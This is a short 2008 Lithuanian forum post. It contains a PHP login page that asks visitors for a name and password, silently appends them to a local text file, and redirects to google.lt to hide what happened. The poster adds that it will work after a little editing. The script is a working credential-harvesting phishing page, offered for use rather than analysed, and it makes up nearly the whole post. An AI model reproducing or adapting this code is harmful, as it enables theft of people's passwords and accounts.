Parašė PyccKuu· 2008 Rugs. 27 21:09:37
#5
<?php
if (isset($_POST['gerai'])) {
$vardas = $_POST[vardas];
$slaptazodis = $_POST[slaptazodis];
$failas = fopen('sms.txt', 'a');
fwrite($failas, "$vardas | $slaptazodis\n");
header("Location: http://google.lt");
}
else
{
echo "<form method='post' action='".$_SERVER['PHP_SELF']."'>
Vardas: <input type='text' name='vardas'><br>
Slaptaюodis: <input type='password' name='slaptazodis'><br>
<input type='submit' name='gerai' value='Gerai'>
</form>";
}
?>
Paredagavus truputi bus ok ;)
Redagavo PyccKuu· 2008 Rugs. 27 21:09:54